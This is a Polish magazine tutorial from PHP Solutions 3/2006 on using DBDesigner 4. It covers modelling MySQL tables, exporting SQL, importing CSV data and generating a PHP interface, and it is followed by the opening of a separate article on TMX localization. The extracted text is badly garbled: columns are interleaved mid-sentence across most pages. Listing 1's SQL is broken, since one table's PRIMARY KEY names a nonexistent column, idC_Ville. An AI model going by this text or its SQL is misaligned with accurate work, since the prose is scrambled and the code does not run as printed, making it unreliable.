z Michaelem G. Zinnerem,
twórcą DBD4. gą naszych danych zajmie się MySQL. nić z niego działającą bazę, do której
3. http://www.fabforce.net/ Przeniesiemy więc dane w postaci in- będziemy przenosili dane z baz istnie-
downloads.php jących, a także jak w prosty sposób ge-
tegralnej ze starych baz do MySQL-a,
– wersje dystrybucyjne nerować kod PHP odpowiedzialny za ob-
DBDesignera 4 korzystając z plików CSV oraz XML. sługę tej bazy.
Użyjemy w tym celu narzędzia, które

42 www.phpsolmag.org PHP Solutions Nr 3/2006


DBDesigner 4 Narzędzia

Rysunek 1. DBDesigner 4 GUI

Rysunku 1, przy czym naniesione nu- 7. Panel typów danych: pomaga w two- Tworzenie tabeli
mery oznaczają odpowiednio: rzeniu nowych oraz określaniu istnie- Aby utworzyć strukturę nowej tabeli, kli-
jących typów danych (w tym ich przy- kamy ikonę Nowa tabela na pasku za-
1. Menu główne: udostępnia komplet pisywaniu do grup). dań, a następnie umieszczamy ją w ob-
funkcji, parametrów i zasobów DBDe- 8 Panel modelu bazy danych: umożli- szarze roboczym. Przejdźmy teraz do
signera 4. wia szybki dostęp do wszystkich tabel edycji tabeli: w tym celu klikamy na niej
2. Pasek narzędzi: bezpośredni dostęp danego modelu. kilkakrotnie lub otwieramy menu kontek-
do funkcji modelowania graficznego stowe prawym przyciskiem myszy i wy-
(ikony). Czas na modelowanie bieramy opcję Edytuj obiekt.
3. Pasek statusu: informuje o aktualnym Następna czynność, która nas czeka Czas określić parametry tabeli. Za-
stanie wykonywanej pracy. to modelowanie. Aby się za nie zabrać, czniemy od zmiany nazwy z Table_nn (nn
4. Strefa modelowania graficznego: tu otworzymy plan pracy i zapiszemy nowy – numer tabeli, np. 01) na Ident_agent.
znajduje się model graficzny bazy da- model poprzez wejście do menu główne- Gdy przejdziemy do do listy kolumn w
nych jest to główne atelier graficzne, go: Plik -> Nowy oraz Plik -> Zapisz ja- tym samym oknie, program automatycz-
pozwalające na łatwe modelowanie ko... nie utworzy pierwszą kolumnę i uczy-
bazy danych. W tym momencie możemy wybrać ni ją kluczem głównym, a także określi
5. Reprezentacja graficzna przykładowej miejsce w którym zapiszemy nasz plik wszystkie jej parametry, takie jak typ da-
tablicy bazodanowej. (domyślnie jest nim folder instalacyjny nych, NOT NULL (kolumna NN) czy AU-
6. Panel nawigacyjny: plan modelu gra- DBDesignera). Plik naszego modelu bę- TO INCREMENT (kol. AI). Dwie ostatnie
ficznego bazy danych, umożliwiający dzie nosił nazwę MCDTEST i zostanie pozycje będą zaznaczone, co jest nor-
wybranie jego konkretnego fragmentu zachowany w formacie XML, co umoż- malne w przypadku klucza głównego.
oraz jego pomniejszanie i powiększa- liwi jego łatwe wykorzystanie przez in- Przejdźmy do utworzenia nastę-
nie. ne aplikacje. pujących pól: Nazwisko, Imie, Data_

PHP Solutions Nr 3/2006 www.phpsolmag.org 43


Narzędzia DBDesigner 4

urodzenia. Typ danych każdego pola


możemy wybrać z listy proponowanych, Wymagania
albo przeciągnąć z panelu Typy danych DBDesigner 4 działa pod Windows (wersja 4.0.5.6) oraz Linuksem (wersja 4,0,5,4). Do-
stępna jest wersja z instalatorem (EXE oraz RPM), a także kod źródłowy (ZIP i TAR.GZ)
(Rysunek 1, nr 7). Dla nazwiska i imienia
i dokumentacja (HTML i PDF). Do modelowania baz danych wystarczy instalacja same-
wybieramy typ VARCHAR – ustalamy jego go DBDesignera. Aby jednak w pełni wykorzystać jego możliwości, potrzebujemy pełnego
długość, np. na 45 i 30, podczas gdy pole środowiska *AMP a (PHP+MySQL+Apache lub IIS). DBDesigner 4 jest programem open-
data_urodzenia będzie miało typ DATE. sourcowym (GNU GPL), a jego kod źródłowy został napisany w Delphi – aby go modyfiko-
wać, potrzebujemy Delphi 7 lub Kylixa 3.
Jeżeli chcemy określić wybrane pola ja-
ko obowiązkowe, musimy zaznaczyć dla Instalacja
Dla wersji pod Windows (2000 lub XP) pobieramy plik DBDesigner4.0.5.6_Setup.exe i uru-
nich kolumnę NN.
chamiamy go. Program instalacyjny poprowadzi nas przez resztę instalacji.
Dodatkowo, dla każdego pola możemy Dla wersji pod Linuksa pobieramy plik DBDesigner4.0.5.4.tar.gz i umieszczamy go w swo-
ustalić flagi (flags) związane z reprezento- im katalogu domowym. Następnie rozpakowujemy archiwum poleceniem tar xvzf DBDes
waniem danych w tabeli. Dany atrybut mo- igner4.0.5.4.tar.gz, po czym przechodzimy do katalogu głównego aplikacji i wykonuje-
my znajdujący się w nim skrypt startdbd.sh.
że być nieoznakowany (UNSIGNED), bi-
narny (BINARY) oraz domyślnie wypełnia-
ny zerami (ZEROFILL). Możliwość ustala- l C_Miejsce – znajdą się w niej pola: lu po prostu przeciągniemy go do góry w
nia flag zależy od typu pola, np. DATE nie klucz główny (typ INTEGER) oraz na- trybie edycji tabeli.
ma żadnych, INTEGER ma UNSIGNED i ZE- zwa miejscowości (LIB_Miejsce) typu Zamkniemy teraz okno zatwierdzając
ROFILL, a VARCHAR – BINARY. Każdemu VARCHAR(60). zmiany. Warto również zapisać stan ak-
polu możemy też nadać wartość domyśl- tualnej pracy ([CTRL]+[S]). Analogicznie
ną czy przypisać komentarz – to ostatnie Czas na ustalenie związków między ta- jak z tabelą miejscowości postępujemy w
przydaje się podczas późniejszych analiz. belami. Klikamy na ikonę określającą przypadku zwrotów grzecznościowych.
Wypełniony zestaw pól prezentujemy na typ relacji jeden do jednego, a następnie Nasz graficzny model danych jest go-
Rysunku 2. Tabela jest gotowa, możemy na tabelę C_Miejsce, po czym na Ident_ towy (Rysunek 3).
(ale nie musimy) zamknąć okno – pola zo- agent (kolejność wyboru relacji ma zna-
staną zapisane. czenie zasadnicze): relacja między ta- Upiększamy
Do naszej tabeli ident_agent dodamy belami zostanie utworzona, a w tabeli i porządkujemy model
teraz pola zawierające zwrot grzeczno- Ident_agent pojawi się klucz obcy ozna- graficzny
ściowy (np. Pan, Pani, Panna, Mr., Mrs., czony symbolem FK (od Foreign Key) o W miarę rozrostu modelu graficznego na-
itd) oraz miejscowość. Ponieważ są to da- nazwie C_Miejsce_FKIndex1, zawierają- szej bazy danych, konieczne staje się
ne powtarzające się, więc najlepiej stwo- cy pole C_Miejsce_idC_Miejsce. uporządkowanie tabel oraz relacji w mo-
rzyć dla nich dwie osobne tabele: Uzyskana relacja ma nazwę Rel_nn delu oraz ich logiczny podział na bloki.
(nn to kolejny numer) – zmienimy ją kli- DBDesigner ułatwia nam wybieranie wie-
l C_Zwrot – tabela zwrotów grzecz- kając na niej dwukrotnie i wpisując lu obiektów na raz – wystarczy przytrzy-
nościowych. Będzie ona zawiera- nazwę R_MiejsceUrodzenia. Poprawimy mać klawisz [CTRL].
ła klucz główny (typ INTEGER) oraz też wygląd tabeli Ident_agent przesuwa- Wzrokowe odróżnianie bloków tabel uła-
krótką etykietę LIB_ZWR_C typu jąc klucz obcy (FK) na miejsce w tabeli, twiają obszary (ang. regions) – prostokąty
VARCHAR(5) i długą etykietę LIB_ZWR_ które wydaje nam się najbardziej logicz- wyróżniające się nazwą i kolorem tła, we-
L typu VARCHAR(12). ne: zaraz po dacie urodzenia. W tym ce- wnątrz których będą się znajdowały obiek-
ty. Aby dodać obszar, klikamy ikonę Nowy
obszar w pasku narzędzi, po czym rozcią-
gamy prostokąt w obszarze roboczym.
Dwukrotne kliknięcie na tak umieszczo-
nym obszarze umożliwi nam nadanie
mu parametrów takich, jak nazwa i ko-
lor. Warto wiedzieć, że rola obszarów nie
kończy się na ułatwianiu odróżniania jego
zawartości od innych obiektów – pozwala
on także ustawiać parametry tabeli, takie
jak jej typ (MyISAM, InnoDB, itd), bazę,
do której należą tabele znajdujące się w
obszarze oraz umieszczać komentarz.
Opisywanie i upiększanie modelu
danych jest możliwe również przez:

l umieszczanie na nim obrazów: klika-


my na ikonę paska narzędzi przed-
stawiającą drzewo, wybieramy w ob-
Rysunek 2. Interfejs tworzenia tabeli szare roboczym miejsce, w którym

44 www.phpsolmag.org PHP Solutions Nr 3/2006


DBDesigner 4 Narzędzia

chcemy umieścić obraz, a następnie


wybieramy plik graficzny i (opcjonal-
nie) ustalamy nazwę obrazu, urucha-
miając tryb edycji podwójnym kliknię-
ciem na niego,
l dodawanie komentarzy: klikalmy na
ikonę paska narzędzi przedstawiają-
cą literę T i wybieramy w obszarze ro-
boczym miejsce docelowe. Podwój-
ne kliknięcie na pole tekstowe pozwoli
dodać komentarz,
l zmiana trybu wyświetlania mode-
lu: główne informacje, typ notacji,
szczegóły kolumn, siatka pomoc-
nicza, itd) w menu Wyświetlanie
(Display).

Tworzenie dokumentacji
Rysunek 3. Model mcdtest
Gdy już skończycie wasz model, będzie-
cie zapewne chcieli stworzyć dokumen- wpisujemy nazwę pliku i zapisujemy ob- DBDesignera wybieramy plugins -> Html-
tację. DBD4 pomoże wam także w tej raz jako BMP lub PNG. Report. Następnie wybieramy zdefiniowa-
kwestii. ny wcześniej obszar (region), którego ra-
Sporządzanie raportu na port ma dotyczyć, wybieramy dodatko-
Eksport obrazu do pliku podstawie bazy (plugin we ustawienia i klikamy na ikonę Execu-
graficznego HTMLREPORT) te. Program zapyta nas o nazwę pliku, po
Aby wyeksportować obraz do pliku gra- Ten plugin pozwala sporządzić opis struk- czym zapisze w nim raport (Rysunek 4).
ficznego, wchodzimy do menu Plik -> tury bazy w formie raportu w formacie
Eksportuj -> Eksportuj model jako obraz, HTML (Rysunek 4). W menu głównym Praktyczne
wykorzystanie
Listing 1. Wygenerowane polecenia SQL (mcdtest.txt) gotowego modelu
Przejdźmy teraz do praktycznego wy-
-- ------------------------------------------------------------
korzystania gotowego modelu bazy da-
-- Tabela kodów zwrotów grzecznościowych
-- ------------------------------------------------------------ nych. Co możemy z nim zrobić? Istnieją-
ce opcje obejmują: automatyczne utwo-
CREATE TABLE C_Zwrot ( rzenie na jego podstawie skryptu SQL,
idC_Zwrot INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, zaimportowanie do niej danych z plików
Lib_Civ_C VARCHAR(5) NULL,
CSV, wygenerowanie PHP-owego inter-
Lib_Civ_L VARCHAR(12) NULL,
PRIMARY KEY(idC_Zwrot) fejsu obsługi danych czy ułatwienie prze-
); glądania bazy. Omówimy je po kolei.
-- ------------------------------------------------------------
-- Tabela miast Eksport struktury bazy
-- ------------------------------------------------------------
CREATE TABLE C_Miejsce (
do skryptu SQL
idC_Miejsce INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, Aby na podstawie naszego modelu wyge-
Lib_Miejsce VARCHAR(60) NULL, nerować skrypt SQL tworzący tabele bazo-
PRIMARY KEY(idC_Ville) danowe, w menu głównym wybieramy po-
); zycję Plik -> Eksportuj -> Skrypt tworzenia
SQL (Export SQL Script). Pojawi się pa-
-- ------------------------------------------------------------
-- Tabela identyfikacji rekordów nel opcji , pozwalający wybrać tabele do
-- ------------------------------------------------------------ wygenerowania, ustalić ich kolejność oraz
CREATE TABLE Ident_agent ( zdecydować m.in. o tym, czy chcemy two-
idIdent_agent INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, rzyć klucze własne i obce. Zalecane jest
C_Zwrot_idC_Zwrot INTEGER UNSIGNED NOT NULL,
korzystanie z parametrów domyślnych.
Imie VARCHAR(45) NOT NULL,
Nazwisko VARCHAR(30) NULL, Skrypt SQL zostanie wygenerowany,
DataUrodzenia DATE NOT NULL, gdy wybierzemy jego zapis do schowka
C_Miejsce_idC_Miejsce INTEGER UNSIGNED NOT NULL, (clipboard) lub pliku. Na Listingu 1 przed-
PRIMARY KEY(idIdent_agent), stawiamy instrukcje SQL-owe dla nasze-
INDEX Ident_agent_FKMiejsce(C_Miejsce_idC_Miejsce),
go przykładu.
INDEX Ident_agent_FKZwrot(C_Zwrot_idC_Zwrot)
); Tak uzyskany plik możemy wyko-
nać przy pomocy linii poleceń klienta My-

PHP Solutions Nr 3/2006 www.phpsolmag.org 45


Narzędzia DBDesigner 4

SQL-a lub korzystając z takich narzędzi,


jak phpMyAdmin. Założymy bazę mcd-
test i wykonamy na niej uzyskany skrypt.
Po utworzeniu tabel przejdziemy do
ich uzupełniania – również w tym pomo-
że nam DBDesigner.

Import danych do bazy


(plugin-in DataImporter)
Wspominaliśmy już, że będziemy wydoby-
wać dane ze starej bazy przy użyciu plików
CSV (ang. Comma-Separated Values), za-
wierające dane oddzielone przecinkami.
Ich zaimportowanie do nowej bazy ułatwi
plugin DataImporter: dzięki niemu doko-
namy tego nie pisząc ani jednej linijki kodu!
W menu głównym wybieramy Plugins/
DataImporter – pokaże się panel parame-
trów. Zanim to jednak zrobimy upewnij- Rysunek 5. DataImporter : parametry pliku źródłowego
my się, że MySQL jest włączony – zarów-
no pod Windows, jak i w Linuksie może-
DBDesigner kontra inne narzędzia do modelowania
my tego dokonać uruchamiając klienta te- Na rynku istnieje wiele profesjonalnych narzędzi do modelowania danych (AllFusion®
go systemu bazodanowego (plik mysql) al- Erwin® Data Modeler, Oracle's Designer©, IBM's Rational Rose© czy theKompany's
bo interfejs typu phpMyAdmin. Warto wie- DataArchitect©). Dlaczego więc warto używać DBDesignera? Przede wszystkim, jest bar-
dzieć, że my pracujemy lokalnie na serwe- dzo prosty w obsłudze i wielojęzyczny, a system pluginów oraz dostępny kod źródłowy
(licencja GNU/GPL) umożliwia jego łatwą rozbudowę. Ma tez dobrą dokumentację (HTML,
rze localhost. PDF i klipy we Flashu). Po drugie, współpracuje on z różnymi typami baz danych (MySQL,
Następnie wybieramy plik z danymi do M SSQL, SQLite, Oracle, ODBC, itd). Nie bez znaczenia jest również fakt, iż DBDesigner
zaimportowania i nawiązujemy połączenie jest narzędziem opensourcowym i darmowym oraz to, że jest niewielkich rozmiarów.
bazodanowe – klikamy na ikonę przedsta-
wiającą plik z lupą (Destination database W prawej części panelu, od razu pojawi się my dane z naszego pliku źródłowego
connection), po czym wybieramy bazę da- wstępne odwzorowanie. z polami w bazie danych. Najpierw
nych (mcdtest) ze znajdującego się po le- Klikamy na Text Options i gdy ukażą wybierzemy tabelę docelową z listy
wej stronie otwartego właśnie panelu drze- się nam parametry (wygenerowane auto- Destination Table – w naszym przypad-
wa i wpisujemy dane użytkownika (login i matycznie), pozostawimy je w formie nie- ku będzie to Ident_agent. Ujrzymy po-
hasło, które może być puste) oraz klikamy naruszonej, za wyjątkiem opcji First row la tej tabeli – musimy je tylko przenieść
na ikonę Connect (Rysunek 5). contains field names, którą odhaczymy, z Field from source do odpowiednich pól
Wybierzmy teraz źródło danych. ponieważ w naszym pliku nie ma wiersza w Fields of the destination table.
W tym celu klikniemy na ikonę ... (trzy tytułowego. Możemy nazwać pola wybie- Za pomoca przycisku General Options
kropki) znajdującą się na przycisku Im- rając każdą kolumnę za pomocą kliknięcia, (Rysunek 6) zaznaczymy Clear table be-
port from Text Files, po czym przechodzi- a następnie oznaczając pole Fieldname. fore data insert, wraz w dwiema inny-
my do odpowiedniego folderu i wybiera- Za pomocą przycisku Column Map- mi opcjami. Użycie tego przycisku umoż-
my plik z danymi, na przykład agent.txt. ping odwzorujemy nasze dane: zwiąże- liwia również automatyczną zamianę wy-
branych znaków po zaimportowaniu da-
nych (przykładowo, gdybyśmy mieli po-
le typu email, to znak @ nie zostałby pra-
widłowo zinterpretowany i byłby zastąpio-
ny przez à).
Po ustaleniu parametrów, możemy je
zapisać w celu ewentualnego późniejsze-
go wykorzystania. Aby tego dokonać, kli-
kamy na Store these settings as Preset,
a następnie nadajemy temu zestawowi pa-
rametrów nazwę (np. impAgent).
Możemy teraz kliknąć na przycisk
Execute: dane zostaną wciągnięte do ba-
zy, co możemy sprawdzić np. za pomocą
phpMyAdmina albo należącego do DBDe-
signera Edytora Zapytań (Query Editor,
Rysunek 4. Lista dostarczona przez HtmlReport Rysunek 7). W tym drugim przypadku kli-

46 www.phpsolmag.org PHP Solutions Nr 3/2006


DBDesigner 4 Narzędzia

kamy prawym przyciskiem na schemat ta-


beli Ident_agent i wybieramy polecenie
Edycja danych w tabeli w menu kontek-
stowym. Otworzy się okno wyświetlają-
ce widok obejmujący dane w tabeli. Klika-
jąc w tym oknie na ikonę SQL, będziemy
mieli dostęp do edytora SQL, co pozwoli
nam wykonywać kwerendy dotyczące ta-
beli, a także m.in. aktualizować dane. To
samo zrobimy dla dwóch pozostałych ta-
bel, a następnie opuszczamy plugin.
Baza została uzupełniona – zobacz-
my teraz, jak z niej skorzystać przy po- Rysunek 7. QueryEditor: Proste zapytania
mocy innego plugina: SimpleWebFront.
Historia
Plugin SimpleWebFront DBDesigner został stworzony przez Michaela G. Zinnera, szefa ekipy FabFORCE.net.
SimpleWebFront pozwala generować pro- Strona internetowa fabFORCE.net powstała na początku 2003 roku, aby zaoferować plat-
sty PHP-owy interfejs do zarządzania da- formę dla projektów Open Source rozwijanych przez założony w tym samym roku przez
Zinnera zespół fabFORCE.net. Grupa ta tworzy opensourcowe narzędzia dla programi-
nymi. Aplikacja ta będzie mogła działać stów, koncentrując się w szczególności na aplikacjach bazodanowych.
niezależnie lub stanowić część większe- W czasie powstania projektu DBDesigner Michael G. Zinner dołączył do MySQL AB, gdzie
go projektu. pracował nad programami: MySQL Administrator, MySQL Query Browser oraz MySQL
Po uruchomieniu plugina SimpleWeb- Migration Toolkit. Aktualnie, jego zespół zajmuje się następcą DB Designera, noszącym
nazwę MySQL Workbench. Nie będzie to przeróbka DBD4, tylko zupełnie nowa, wysoce
Front (menu główne: plugins -> Simple- wydajna aplikacja korzystająca z OpenGL-a.
WebFront) wybieramy pozycję General Na stronach fabFORCE.net znajduje się też wiele odnośników do stron związanych z gra-
Options (Rysunek 8) i podajemy informa- fiką, fotografią, obrazem i jego obróbką.
cje dotyczące połączenia z bazą danych
mcdtest, a także docelowy tytuł aplikacji l musimy wpisać hasło. Może to być Add tables określamy żądany widok, m.in.
(Web Title) oraz położenie skryptów PHP, problemem, gdyż zwykle w środowi- nazwę, tabelę główną, sposób sortowania,
które zostaną wygenerowane – te trzy in- sku testowym w ogóle go nie poda- kryterium wyszukiwania czy kolumny.
formacje są niezbędne. Aplikacja będzie jemy (jest ono pustym łańcuchem). Przejdźmy teraz do panelu Groups
się składała z kilkunastu plików, w tym in- SimpleWebFront nie toleruje takiego (Rysunek 9). Tutaj zdefiniujemy grupy wi-
dex.php i db_open.php. Zwróćmy uwagę podejścia, więc trzeba mu wpisać do- doków. Każdej grupie nadamy nazwę oraz
na dwie istotne sprawy: wolne hasło, ktore później możemy przypiszemy do niej zdefiniowane przez
zmienić w wygenerowanym skrypcie nas widoki (wybrane widoki muszą się zna-
l dopóki nie podamy wszystkich nie- PHP (zmienna $password = ""; w pli- leźć na liście Assigned Views) lub określo-
zbędnych informacji, ikona Create ku db_open.php). ne podczas modelowania architektury ba-
Webpages będzie niedostępna (nie- zy danych obszary (regiony). Zalecane jest
które z tych informacji znajdują się Następnie przechodzimy do panelu Views, regularne zapisywanie parametrów (Save).
pod innymi przyciskami), gdzie po kliknięciu na Create new view lub Po tych operacjach przycisk Create Pages
stanie się wreszcie dostępny: my jednak
dopracujemy nasze ustawienia.
Wybierzmy panel Grid Options. Okre-
ślimy w nim, które spośród zdefiniowanych
za pomocą widoków i grup kolumn będą

Reverse Engineering
Reverse Engineering to w tym przypad-
ku odtwarzanie modelu graficznego ist-
niejącej bazy danych. W programie DB
Designer jest dostępne jako opcja w me-
nu głównym (Database -> Reverse Engi-
neering) i wymaga wcześniejszego połą-
czenia z bazą, z której będziemy korzy-
stać (Plik -> Otwórz bazę danych). Na-
stępnie na panelu parametrów wybiera-
my typ bazy danych (MySQL, Oracle,
itd), tabele, które wejdą w skład mode-
lu oraz typy powiązań między tabelami.
Wygenerowany model zostanie umiesz-
czony w obszarze roboczym i będziemy
mogli go swobodnie edytować.
Rysunek 6. DataImporter: różne opcje

PHP Solutions Nr 3/2006 www.phpsolmag.org 47


Narzędzia DBDesigner 4

widoczne w docelowym skrypcie PHP, za-


znaczając lub odznaczając nazwy tych
atrybutów. Każdej kolumnie możemy rów-
nież nadać etykietę (Caption), pod któ-
rą będzie ona widoczna na stronie doce-
lowej. Ustawimy także liczbę wierszy na
stronie. Pozostało już tylko wygenerować
(Create Webpages)i zapisać (Save) skrypt
(index.php).
Po zmianie zapisanego w skryp-
cie db_open.php hasła na puste ($pas-
sword='') wywołamy utworzony skrypt in-
dex.php w przeglądarce internetowej. Po-
zwala on m.in. ustalić kryteria wyszukiwa-
nia (w tym celu należy kliknąć na ikonie Rysunek 9. SimpleWebFront, grupy
przedstawiającej lupę, Rysunek 10) czy
aktualizować dane klikając na ikonę z klu-
czem mechanika (Rysunek 11).
Uwaga: skrypt nie sprawdza popraw-
ności danych, a zły wpis zostanie potrak-
towany jak dobry i zapisany z wartością
domyślną (np. zła data jako 0000-00-00).

Asystent zapytań
Asystent zapytań (Rysunek 12) pomaga
przy formułowaniu kwerend SQL-owych.
Uruchomimy go zmieniając w menu
głównym tryb wyświetlania na Tryb zapy-
Rysunek 10. SimpleWebFront: wybór widoków
tań (Display -> Query mode).
Jak wygląda ułatwienie tworzenia za- uzupełniać wstępnie utworzone kwerendy, wa wersja tej aplikacji, w której zmieniono
pytań? Po pierwsze, możemy przeciągnąć a gdy jesteśmy połączeni z bazą danych również strukturę bazy danych. Chcieliby-
nazwę tabeli lub pola z obszaru roboczego (menu główne: Database -> Connect...), śmy zainstalować to nowe wydanie sys-
do obszaru wprowadzania zapytań – poja- również je wykonywać. Zapytanie wykona- temu statystyk i zaimportować do niego
wi się zestaw kwerend do wyboru. Po dru- my klikając na żółtą ikonę z zieloną strzał- zgromadzone dotychczas dane – nieste-
gie, w pasku narzędzi DBDesignera znaj- ką: jego rezultat ukaże się w oknie po pra- ty, twórca narzędzia tego nie przewidział.
dą się m.in. ikony przedstawiające kwe- wej stronie. Co robić?
rendy oraz ich elementy. Wybierając odpo- Zainstalujmy tę nową wersję syste-
wiednie zapytanie w tym pasku, a następ- Inne możliwe sposoby mu statystyk i załóżmy dla niego nową
nie klikając na danej nazwie tabeli lub polu wykorzystania bazę (koniecznie pod inną nazwą niż
w obszarze roboczym spowodujemy utwo- Załóżmy, że korzystamy z narzędzia pro- baza już istniejąca). Następnie odtwórz-
rzenie odpowiedniej kwerendy. UWAGA: wadzącego statystyki odwiedzin na na- my strukturę obu baz, np. łącząc się ko-
ta drua możliwość nie zawsze działa, nie- szej witrynie internetowej i zapisujące- lejno z każdą z nich spod DBDesignera
stety. Zawsze możemy natomiast ręcznie go je w bazie danych. Pojawiła się no- lub korzystając z phpMyAdmina. Po wy-
konaniu tej czynności użyjemy funkcji
DBDesignera o nazwie Reverse Engi-
neering (menu główne: Database -> Re-
verse Engineering, zobacz Ramka Re-
verse Engineering) w celu zrekonstru-
owania modelu każdej z baz w formie
graficznej. Korzystając z Asystenta Za-
pytań oraz innych funkcji DBDesigne-
ra, które opisaliśmy, łatwo porównamy
strukturę obu baz i przeniesiemy dane
ze starej do nowej.

Porady i sztuczki
Korzystając z programu warto wiedzieć
o kilku użytecznych rzeczach. Oto wska-
Rysunek 8. SimpleWebFront, parametry Ogólne zówki ułatwiające pracę z programem:

48 www.phpsolmag.org PHP Solutions Nr 3/2006


DBDesigner 4 Narzędzia

l jak najczęściej korzystajmy z Nawi-


gatora (Navigation & Info), gdyż nie-
zmiernie ułatwia on poruszanie się
obszarze roboczym (szczególnie
przy bardziej rozbudowanym mode-
lu),
l jeśli nasz model zawiera wiele ta-
bel, możemy mieć trudność z od-
nalezieniem tej właściwej w obsza-
rze roboczym. Tu pomoże nam pa-
nel Model BD (DB Model), pozwa-
lający przeglądać tabele w postaci
drzewa i wybierać z niego dowolne
pozycje,
l jeżeli chcemy wydrukować obszar ro-
boczy, warto wyeksportować go jako Rysunek 12. Asystent zapytań
obraz (menu główne: Plik -> Ekspor-
tuj -> Eksportuj Model jako Obraz), cza głównego nie pojawia się od ra- dane i wykonywać zapytania czy przeno-
zamiast korzystać z opcji Plik -> Wy- zu – zwykle trzeba nacisnąć [TAB] al- sić dane między bazami o różnych struk-
ślij na drukarkę, gdyż będziemy mo- bo kliknąć parę razy na liście atrybu- turach.
gli poddać go obróbce. Jest to szcze- tów poniżej tego pola, Bardzo cenną cechą DBDesignera jest
gólnie istotne, gdy model jest duży l nie zawsze działa wybieranie frag- to, że nie służy on wyłącznie projekto-
i nie mieści się na ekranie, mentów kwerend w Asystencie Zapy- waniu baz, ale wspiera i ułatwia codzien-
l jedynymi obsługiwanymi przez DBDe- tań, ną pracę z bazami. Program ma wiele
signera formatami obrazów są BMP l prawdziwy bug: funkcja DataType więcej zastosowań, o których nie wspo-
i PNG. Ze względu na rozmiar warto Replace – zastąpienia typów danych mnieliśmy w niniejszym artykule, takich
wybrać ten drugi, (w jednej lub wielu tabelach) przez jak synchronizacja i utrzymanie bazy da-
l plugin SimpleWebFront działa w zde- zestaw innych typów nie działa, je- nych. Te cechy bardzo często okazują
finiowanych przez użytkownika Ob- śli musimy edytować parametr (np. się bardzo przydatne.
szarach (Regionach). Jeżeli chcemy zmienić CHAR(8) na DATE), Podsumowując: szeroki wachlarz moż-
obsłużyć przy jego pomocy cały mo- l gdy wyjdziemy z plugina HtmlReport, liwości programu, wygoda obsługi i napraw-
del, musimy zdefiniować Obszar, któ- pokaże on, że model został zmo- dę dobra dokumentacja czynią z DBDe-
ry będzie go obejmował. Warto okre- dyfikowany i zaproponuje zapisa- signera profesjonalne narzędzie przydat-
ślić kolor tego obszaru jako neutralny, nie zmian. Istniejący w pluginie błąd ne każdemu, kto ma do czynienia z two-
np. biały, powoduje duplikację backslashy (\) rzeniem i zarządzaniem bazami danych.
w pliku modelu, w strefie <tableprefi- Poświęcajmy należytą uwagę projektowa-
Pojawiające się xes>. Ta duplikacja może przybierać niu, bo poprawne modelowanie danych jest
problemy i błędy ogromne rozmiary, prowadząc nawet gwarancją skutecznoci podczas formuowa-
programu DBDesigner do nadmiernego obciążenia pamię- nia zapytań do bazy danych. n
Podczas pracy z DB Designerem, musi- ci komputera. Problem ten rozwiąże-
my uważać na błędy. Mogą one zaważyć my ręcznie, wyłączając DBDesigner,
na strukturze bazy, dlatego nie należy ich otwierając ten plik i usuwając back-
lekceważyć: slashe za pomocą dowolnego edy- O autorze
tora programistycznego. Zabieg ten
Pierre Hebel jest analitykiem informa-
l przy tworzeniu nowej tabeli, definio- musimy powtarzać po 3 lub 4 uży-
tycznym. Pracował 7 lat w SSII (CGI :
wana automatycznie kolumna klu- ciach pluginu, Compagnie Générale Informatique).
l tłumaczenia na języki niemiecki i fran- Obecnie zajmuje się integrowaniem
cuski są miejscami niekompletne. systemu zarządzania szpitalem ja-
ko ekspert techniczny do spraw ERP
SIGAGIP na maszynach mainframe.
Konkluzja Jest całkowitym samoukiem w tematy-
Na rynku istnieje co najmniej kilka roz- ce komputerowej. Od roku 1999 zreali-
wiązań, których założenia zbliżóne są do zował i współuczestniczył w kilku pro-
jektach i witrynach internetowych należą-
założeń DBDesignera. Programy te po-
cych do grup amatorskich i profesjonal-
zwalają w znaczący sposób ułatwić pra- nych – m.in. kierował projektem medycz-
cę z bazami, umożliwiają bowiem bardzo nym GTA w środowisku CMS opartym na
profesjonalne podejście już do etapu mo- PHP, Javie i MySQL-u.
delowania. W artykule pokazaliśmy, jak
Kontakt z autorem:
Rysunek 11. SimpleWebFront: korzystając z DBDesignera łatwo zapro- solutions@netriviera.com
Aktualizowanie widoku jektować strukturę bazy, wczytać do niej

PHP Solutions Nr 3/2006 www.phpsolmag.org 49


Narzędzia

Lokalizacja w PHP
przy użyciu standardu TMX
Stopień trudności: lll
Nicola Asuni

Wyobraź sobie, że jesteś głównym programistą


w zespole budującym olbrzymią aplikację, która
jako produkt przeznaczony na rynek globalny
musi wspierać dziesięć różnych języków.
Najprawdopodobniej nie chciałbyś udostępnić
swoich kodów źródłowych osobom postronnym
w celu wykonania tłumaczenia i mieć złudne
nadzieje, że w ramach tego procesu nie pojawią
się żadne „przypadkowe” błędy. Na szczęście
nie musiałbyś tego robić: dzięki TMX, Twoje
tłumaczenie mogłoby być wykonane szybko
i łatwo, zaś Twój kod pozostałby nienaruszony.

S
tandard TMX (ang. Transla- blic jako kontenerów translacyjnych (ele-
tion Memory eXchange) powstał mentów służących do przechowywania
w ramach projektu Oscar (skrót tłumaczonego tekstu). W takim kontek-
angielskich słów: Open Standards for ście, zasoby tekstowe (np. menu, opi-
Container/Content Allowing Re-use), wy- sy, nagłówki, informacje dla użytkow-
konywanego w ramach jeden z inicjatyw nika) są przechowywane bezpośred-
stowarzyszenia LISA (ang. Localization In- nio w kodzie źródłowym, jako elemen-
dustry Standards Association; patrz: ram- ty tablic, do których można się w ra-
ka LISA). zie potrzeby odwoływać. W ogólnym
Celem autorów TMX było dostar- przypadku, korzystając z takiej techni-
czenie neutralnego systemu wymiany ki lokalizacji tworzy się oddzielny plik,
danych pomiędzy różnymi systemami bądź zbiór plików dla każdego języ-
translacji, przy jednoczesnej minimaliza- ka wspieranego przez aplikację. Na Li-
cji i eliminacji strat krytycznych informa-
cji. TMX jest w pełni zgodny ze standar-
W SIECI dem XML. Wspiera również kodowanie Co należy wiedzieć...
Powinieneś znać podstawy PHP oraz
znaków Unicode, oraz wielorakie stan-
XML. Przyda się również wiedza związa-
dardy ISO (dotyczące między innymi for- na z zagadnieniem internacjonalizacji.
1. http://tmxphpbridge.sourcef matów opisu daty/czasu, kody językowe i
orge.net – klasa pomostowa
narodowe).
PHP-TMX
2. http://www.lisa.org – witryna
Co obiecujemy...
Po przeczytaniu artykułu będziesz wie-
organizacji LISA
3. http://tecnick.com – strona
Od tablic do TMX dział jak obsłużyć lokalizację projektu
domowa firmy Tecnick.com Duża cześć oprogramowania pisanego PHP przy użyciu TMX.
w PHP jest lokalizowana przy użyciu ta-

